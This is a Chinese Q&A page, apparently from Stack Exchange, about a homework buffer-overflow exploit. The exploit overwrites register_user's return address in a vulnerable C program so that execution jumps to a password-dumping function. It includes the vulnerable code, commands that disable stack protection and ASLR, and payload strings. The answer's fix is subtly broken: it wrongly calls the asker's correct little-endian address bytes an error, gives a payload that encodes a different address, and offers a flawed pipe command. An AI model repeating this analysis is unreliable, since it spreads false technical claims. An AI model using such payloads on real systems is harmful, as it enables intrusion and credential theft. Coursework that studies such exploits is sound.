缓冲区溢出劫持执行流至dump_users函数触发段错误的解决方法
问题描述
正在完成安全工程作业,需编写缓冲区溢出漏洞利用代码改变C程序执行流程:通过register_user函数中的gets(user.username)触发溢出,覆盖返回地址,使register_user返回时跳转到dump_users函数,但始终触发Segmentation Fault(段错误)。
程序代码
#include <stdio.h> #include <stdlib.h> #include <string.h> #define USERNAME_SIZE 32 #define PASSWORD_SIZE 16 #define FILENAME "users.txt" typedef struct { char username[USERNAME_SIZE]; char password[PASSWORD_SIZE]; } User; void register_user() { FILE *file = fopen(FILENAME, "a"); if (file == NULL) { perror("Error opening file"); return; } User user; printf("Enter username: "); gets(user.username); // Vulnerable function printf("Enter password: "); gets(user.password); // Vulnerable function fwrite(&user, sizeof(User), 1, file); fclose(file); printf("User registered successfully.\n"); } void login() { FILE *file = fopen(FILENAME, "r"); if (file == NULL) { perror("Error opening file"); return; } char username[USERNAME_SIZE]; char password[PASSWORD_SIZE]; User user; int authenticated = 0; printf("Enter username: "); gets(username); printf("Enter password: "); gets(password); while (fread(&user, sizeof(User), 1, file)) { if (strcmp(username, user.username) == 0 && strcmp(password, user.password) == 0) { authenticated = 1; break; } } fclose(file); if (authenticated) { printf("Login successful!\n"); } else { printf("Login failed!\n"); } } void dump_users() { FILE *file = fopen(FILENAME, "r"); if (file == NULL) { perror("Error opening file"); return; } User user; printf("Registered users:\n"); while (fread(&user, sizeof(User), 1, file)) { printf("Username: %s, Password: %s\n", user.username, user.password); } fclose(file); } int main() { int choice; while (1) { printf("1. Register\n"); printf("2. Login\n"); printf("3. Dump users\n"); printf("4. Exit\n"); printf("Enter your choice: "); scanf("%d", &choice); switch (choice) { case 1: register_user(); break; case 2: login(); break; case 3: dump_users(); break; case 4: return 0; default: printf("Invalid choice.\n"); } } return 0; }
已获取的GDB信息
dump_users函数地址:0x555555555718- 溢出点:
gets(user.username) - 缓冲区大小:32字节(
username) - 错误的偏移计算:认为返回地址距缓冲区起始位置40字节
编译与Payload制作
已禁用栈保护和ASLR:
gcc -fno-stack-protector -o main main.c sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
制作的Payload:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x57\x55\x55\x55\x55\x00\x00
手动输入该Payload到register_user的用户名输入框。
问题现象
执行后触发段错误,GDB输出:
Program received signal SIGSEGV, Segmentation fault. 0x00005555555553ba in register_user () at main.c:39 39 }
栈帧信息:
(gdb) info frame Stack level 0, frame at 0x7fffffffdad0: rip = 0x55555555534c in register_user (main.c:32); saved rip = 0x55555555570f called by frame at 0x7fffffffdb00 source language c. Arglist at 0x7fffffffdac0, args: Locals at 0x7fffffffdac0, Previous frame's sp is 0x7fffffffdad0 Saved registers: rbp at 0x7fffffffdac0, rip at 0x7fffffffdac8 (gdb) x/20x $rsp 0x7fffffffdaa0: 0x00000000 0x00000000 0xffffdaf0 0x00007fff 0x7fffffffdab0: 0x00000000 0x00000000 0xffffdaf0 0x00007fff 0x7fffffffdac0: 0xffffdaf0 0x00007fff 0x5555570f 0x00005555 0x7fffffffdad0: 0xffffdc08 0x00007fff 0x00000000 0x00000001 0x7fffffffdae0: 0x00000000 0x00000000 0x00000000 0x00000001
问题分析与解决方法
1. 核心错误:偏移量计算遗漏password字段
register_user函数中User结构体的栈布局为:
user.username:32字节(溢出缓冲区)user.password:16字节(紧跟username之后)- 保存的rbp:8字节(x86_64架构下寄存器为8字节)
- 返回地址:紧跟保存的rbp之后
要覆盖返回地址,需要先填满username(32) + password(16) + 保存的rbp(8),总计56字节的填充数据,之后再写入目标函数地址。你之前的偏移计算忽略了password的16字节,导致返回地址未被正确覆盖。
2. 字节序错误:64位地址的小端序处理错误
x86_64架构采用小端字节序,低字节存储在内存低地址。dump_users的64位完整地址为0x0000555555555718,转换为字节序列应为:
\x18\x57\x55\x55\x55\x55\x55\x00
你之前的Payload中地址部分高字节顺序错误,导致覆盖的返回地址无效。
3. 修正后的Payload构造
组合正确的填充数据和目标地址,Payload为:
"A"*56 + "\x18\x57\x55\x55\x55\x55\x55\x00"
4. 避免手动输入的干扰
手动输入时终端会将换行符计入输入,可能破坏Payload。建议用管道自动输入:
python3 -c 'print("A"*56 + "\x18\x57\x55\x55\x55\x55\x55\x00")' | ./main
运行后在程序菜单中选择1(Register),即可自动完成溢出。
验证方法
在GDB中运行程序,输入Payload后查看栈帧的返回地址:
(gdb) break register_user (gdb) run # 输入Payload后,执行到函数返回前 (gdb) info frame # 确认saved rip为0x555555555718
内容的提问来源于stack exchange,提问作者Hade Bayaa
相关产品推荐
相关产品推荐

